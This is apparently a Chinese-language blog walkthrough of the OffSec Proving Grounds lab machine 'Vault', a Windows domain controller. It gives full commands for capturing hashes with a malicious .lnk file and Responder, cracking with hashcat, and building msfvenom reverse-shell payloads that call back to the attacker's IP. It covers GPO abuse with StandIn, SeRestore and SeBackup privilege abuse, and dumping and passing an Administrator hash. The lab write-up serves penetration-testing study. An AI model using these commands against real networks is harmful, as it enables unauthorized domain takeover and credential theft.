Proving Grounds Practice : Vault Walkthrough

  Proving Grounds Practice : Vault Walkthrough

Foothole (立足點 ) :

  • SMB 可以寫入,透過 hashgrab.py 產生連結檔與啟用 Responder 抓取驗證 HASH
  • 破解密碼後透過 evil-winrm 進入機器

PE ( 提權 ) :

  • 此靶機 PE 總共有三種利用
  • 第一種 GPO GenericWrite : 使用 StandIn.exe 加入管理者群組
  • 第二種 SeRestorePrivilege : 使用 SeRestoreAbuse.exe 加入管理者權限
  • 第三種 SeBackupPrivilege : 使用 Acl-FullControl.ps1 給予設定路徑權限

注意事項 : 

  • 學習到不同的提權利用,利用後 Session 需要重新建立才會生效


第一步 Rustscan,└─$ rustscan -a 192.168.187.172 --scripts none --ulimit 5000 | tee rustscan

有開 53、88、135、445、3268、3269 看來又是一台 DC



snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.187.172 | tee snmp



nmap

Computer Name : DC

Domain Name : vault.offsec



nmap LDAP,└─$ sudo nmap --script "ldap* and not brute" 192.168.187.172 -p 389 -v -Pn -sT | tee nmap-ldap



LDAP Object,└─$ ldapsearch -v -x -b "DC=vault,DC=offsec" -H "ldap://192.168.187.172" "(objectclass=*)"


enum4linux,└─$ enum4linux -a  192.168.187.172                                                    



smbmap,└─$ smbmap -H 192.168.187.172                                                                                



smbclient,└─$ smbclient -L \192.168.187.172

發現一個非 DC 正常的資料夾名稱 "DocumentsShare"



直接 smbclient 到該資料夾,資料夾內沒有任何東西,丟個檔案看看發現可以上傳寫入檔案

└─$ smbclient '//192.168.187.172/DocumentsShare'



使用方便產生 link 檔案的 hashgrab.py

參考 : https://github.com/xct/hashgrab/blob/main/hashgrab.py

自己做一個檔案,└─$ python3 hashgrab.py 192.168.45.178 aries

主要要使用的檔案是 aries.lnk 這一個



將 aries.lnk 檔案透過 SMB 上傳到該資料夾 "DocumentsShare"


kali 開啟 responder 看到使用者 VAULT\anirudh 送出的 NetNTLMv2 HASH


將 hash 存成檔案 anirudh.hash,然後用 hashcat 破解,└─$ hashcat -m 5600 anirudh.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule 



破解出密碼 VAULT\anirudh:SecureHM



使用 crackmapexec 測試看看,└─$ crackmapexec smb 192.168.187.172 -u 'anirudh' -p 'SecureHM'

確認是一組有效的驗證


evil-winrm 測試結果進去了,└─$ evil-winrm -i 192.168.187.172 -u anirudh -p SecureHM



建立兩個 Reverse shell payload

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.178 LPORT=4444 -f exe -b '\x00\x0d\x0a' -o shell.exe 

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.178 LPORT=4445 -f exe -b '\x00\x0d\x0a' -o shell2.exe 


上傳 payload 執行 payload



新的 Reverse Shell 進來了,開始 PE,whoami /priv



跑一下 SharpHound,Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\anirudh\Desktop\ -OutputPrefix "vault"



載回來後啟動 BloodHound ,先將我們已經拿下的使用者標註為 Owned



看一下該使用者的 Outbound Object Control



發現對網域的 Policy 有寫入的權限



Info 說明這個權限可以對 GPO 進行寫入的動作



濫用的部分是一段說明如,看來要如何利用要另外查找線上的其他文件

透過 GPO 上的 GenericWrite,您可以對該 GPO 進行修改,然後修改將套用於受該 GPO 影響的使用者和電腦。 選擇您想要將邪惡策略推送到的目標對象,然後使用 gpedit GUI 修改 GPO,使用允許專案層級定位的邪惡策略,例如新的立即排程任務。 然後等待群組原則客戶端拾取並執行新的邪惡策略



查看 InternalAllTheThings(以前叫 PayloadsAllTheThings) 有關 AD GPO 的攻擊看看

參考 : https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-group-policy-objects/



看到一個熟悉的工具 StandIn 的利用



先去下載工具,參考 https://github.com/FuzzySecurity/StandIn

最新版是 StandIn_v13_Net35_45.zip,就用這一個吧



解開來有個 Net35 & Net45 版本的,用較新的 Net45 版本吧



上傳到靶機並存成跟文章一樣的名稱 StandIn.exe

iwr -uri http://192.168.45.224/StandIn_v13_Net45.exe -Outfile StandIn.exe



先看一下目前有的 GPO,指令 : .\StandIn.exe --gpo

可以看到有兩條 GPO,我們要利用的是第二條

 - Default Domain Controllers Policy

 - Default Domain Policy



可以再用 acl 確認一次我們是否有權限,指令如下

.\StandIn.exe --gpo --filter "Default Domain Policy" --acl



最後一條 acl 可以看到現有的使用者 VAULT\anirudh 對該條 Policy 有 FullControl 的權限



另外一條 "Default Domain Controllers Policy" 現有使用者是沒有權限的



試試看 GPO 利用的第一條,新增一個 administrator



指令照著打即可,將我們現有的使用者 anirudh 加入到管理者

.\StandIn.exe --gpo --filter "Default Domain Policy" --localadmin anirudh



即時手動更新 GPO,gpupdate /force



結果 GG 沒有用



使用第二個利用加 "Seimpersonateprivilege" 權限給現有使用者 anirudh,.\StandIn.exe --gpo --filter "Default Domain Policy" --setuserrights anirudh --grant "SeDebugPrivilege,SeLoadDriverPrivilege,Seimpersonateprivilege"



一樣 gpupdate /force 查看 whoami /all 的權限.........結果也是 GG



採用第三個,先建立好一個 payload 做 reverse shell 的連線

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.224 LPORT=4445 -f exe -b '\x00\x0d\x0a' -o shell2.exe

然後加一條 comman 到 GPO 且用 VAULT\Administrator 的身分執行,.\StandIn.exe --gpo --filter "Default Domain Policy" --tasktype computer --taskname Liber --author "VAULT\Administrator" --command "C:\users\anirudh\desktop\shell2.exe" --args "with args"

然後一樣執行 gpupdate /force



這一次看到連線進來了,whoami 確認一下是管理者無誤



補充說明 :

在使用第一個將使用者加入到 Local 的 Administrators 群組是有生效的

使用指令查看可以看到使用者 anirudh 有在 administrators 群組成員

Get-DomainGroupMember -Identity "Administrators"



但使用 net group /domain 查看卻看不到 administrators 群組

看來應該是靶機有特別改過



在之前的 whoami /priv 可以看到現有使用者的權限有 SeBackupPrivilege & SeRestorePrivilege



這個其實也是一個可以利用的點,之前有學過有 SeRestorePrivilege 可以利用 utilman.exe 的重新命名方式替換成 cmd.exe 再用 Win Key + U 來提權,最後來試試看

這裡我們參考 https://github.com/xct/SeRestoreAbuse 來利用



編譯後的 SeRestoreAbuse.exe 檔案可以直接從這裡下載

參考 : https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe



.\SeRestoreAbuse.exe "cmd /c net localgroup administrators anirudh /add"

加入後 whoami /priv 還是一樣,後來發現這是因為現有 session 不會直接生效

重新登入後就生效了,回去重複一開始的 StandIn.exe 的第一個步驟

evil-winrm 再重新登入才會生效,whoami /all 就可以看到有許多權限了



另外重新建立的 session 也都有權限了



whoami 雖然一樣是 anirudh,但是已經擁有管理者權限了



做另外一個實驗,先將現有使用者從 administrators 群組中移除

首先查看一下確認在群組中 net localgroup administrators

然後移除 net localgroup administrators anirudh /del

再查看一次 net localgroup administrators



前面利用的是 SeRestorePrivilege 的權限

這裡要利用的是 SeBackupPrivilege 的權限

這一次用 Acl-FullControl.ps1,參考 : https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1



確認 whoami /priv 有該權限,跟我們一開始登入一樣

powershell -ep bypass 然後上傳與匯入 Acl-FullControl.ps1



先確認現有的權限無法讀取 proof.txt 與對使用者目錄的權限

無法讀 proof.txt ,對 administrator 沒有權限,對自己的目錄有權限 (F)



執行 Acl-FullControl 指令,Acl-FullControl -user VAULT\anirudh -path c:\users\administrator

執行後發現我們對該路徑有 FullControl 的權限了



再次 icacls 可以確認有權限了,也可以直接讀到 flag 了



再來利用之前學過的 utilman.exe 試試看

檔案替換成功



但使用 rdesktop 與 Windows+U 不會叫出被取代的 cmd.exe




衍生補充 :

考試的當下需要拿到 administrator 的帳號權限,上述都是 anirudh 擁有管理者權限

若要拿到 administrator 帳號的權限可以在使用者加入到本機管理者後透過遠端去 dump hash

指令 : └─$ impacket-secretsdump vault.offsec/anirudh:SecureHM@192.168.228.172

透過該指令直接 Dump 出 administrator 的 HASH
Administrator:500:aad3b435b51404eeaad3b435b51404ee:54ff9c380cf1a80c23467ff51919146e:::



使用 HASH 透過 impacket-psexec 指令直接就進去了,└─$ impacket-psexec -hashes :54ff9c380cf1a80c23467ff51919146e administrator@192.168.228.172



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)